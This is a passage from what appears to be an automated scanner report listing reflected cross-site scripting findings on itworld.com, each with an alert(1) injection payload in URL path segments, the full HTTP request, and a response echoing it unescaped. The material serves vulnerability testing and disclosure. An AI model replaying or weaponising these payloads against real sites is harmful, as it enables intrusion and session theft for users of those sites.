Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui38a2d"-alert(1)-"6026a729d65/ui.core.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVa
...[SNIP]...

1.218. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3104"><script>alert(1)</script>02076d508cd was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/uib3104"><script>alert(1)</script>02076d508cd/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460317"
Content-Type: text/html; charset=utf-8
Content-Length: 57790
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:22 GMT
X-Varnish: 1038160133
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/uib3104"><script>alert(1)</script>02076d508cd/ui.core.js?h"/>
...[SNIP]...

1.219. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ff2e"><script>alert(1)</script>a4377395fdd was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js8ff2e"><script>alert(1)</script>a4377395fdd?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460347"
Content-Type: text/html; charset=utf-8
Content-Length: 57789
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:48 GMT
X-Varnish: 1038161100
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js8ff2e"><script>alert(1)</script>a4377395fdd?h"/>
...[SNIP]...

1.220. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e004"-alert(1)-"bdd5bf333cc was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js2e004"-alert(1)-"bdd5bf333cc?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:07 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460367"
Content-Type: text/html; charset=utf-8
Content-Length: 57569
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:08 GMT
X-Varnish: 1038161679
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js2e004"-alert(1)-"bdd5bf333cc";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.221. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5c40"><script>alert(1)</script>2d1897b9536 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allb5c40"><script>alert(1)</script>2d1897b9536/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460151"
Content-Type: text/html; charset=utf-8
Content-Length: 57803
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446361
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/allb5c40"><script>alert(1)</script>2d1897b9536/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js?h"/>
...[SNIP]...

1.222. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a40f4"-alert(1)-"c6fc92bb6ca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/alla40f4"-alert(1)-"c6fc92bb6ca/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460170"
Content-Type: text/html; charset=utf-8
Content-Length: 57584
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:59 GMT
X-Varnish: 252446687
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/alla40f4"-alert(1)-"c6fc92bb6ca/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We coul
...[SNIP]...

1.223. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38928"-alert(1)-"34adc14cf79 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib38928"-alert(1)-"34adc14cf79/jquery_ui/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460310"
Content-Type: text/html; charset=utf-8
Content-Length: 57590
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:20 GMT
X-Varnish: 1038159864
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib38928"-alert(1)-"34adc14cf79/jquery_ui/jquery.ui/ui/ui.dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the pa
...[SNIP]...

1.224. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8954e"><script>alert(1)</script>24bf778969 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui8954e"><script>alert(1)</script>24bf778969/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460365"
Content-Type: text/html; charset=utf-8
Content-Length: 57798
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:06 GMT
X-Varnish: 1038161563
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui8954e"><script>alert(1)</script>24bf778969/jquery.ui/ui/ui.dialog.js?h"/>
...[SNIP]...

1.225. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 474d5"-alert(1)-"6da8ed32819 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui474d5"-alert(1)-"6da8ed32819/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460376"
Content-Type: text/html; charset=utf-8
Content-Length: 57590
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:20 GMT
X-Varnish: 1038161911
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui474d5"-alert(1)-"6da8ed32819/jquery.ui/ui/ui.dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you req
...[SNIP]...

1.226. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5f8c"><script>alert(1)</script>63030fa8b6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.uid5f8c"><script>alert(1)</script>63030fa8b6/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:35 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460395"
Content-Type: text/html; charset=utf-8
Content-Length: 57799
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:39 GMT
X-Varnish: 1038162411
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.uid5f8c"><script>alert(1)</script>63030fa8b6/ui/ui.dialog.js?h"/>
...[SNIP]...

1.227. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dafd6"-alert(1)-"b0697556500 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.uidafd6"-alert(1)-"b0697556500/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460406"
Content-Type: text/html; charset=utf-8
Content-Length: 57589
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:47 GMT
X-Varnish: 1038162702
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.uidafd6"-alert(1)-"b0697556500/ui/ui.dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";

...[SNIP]...

1.228. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e63a1"-alert(1)-"a3dd9d65d8c was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/e63a1"-alert(1)-"a3dd9d65d8c/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460423"
Content-Type: text/html; charset=utf-8
Content-Length: 57568
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:04 GMT
X-Varnish: 1038163233
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
p15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/e63a1"-alert(1)-"a3dd9d65d8c/ui.dialog.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.e
...[SNIP]...

1.229. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e73f3"><script>alert(1)</script>7b471767cec was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/e73f3"><script>alert(1)</script>7b471767cec/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460414"
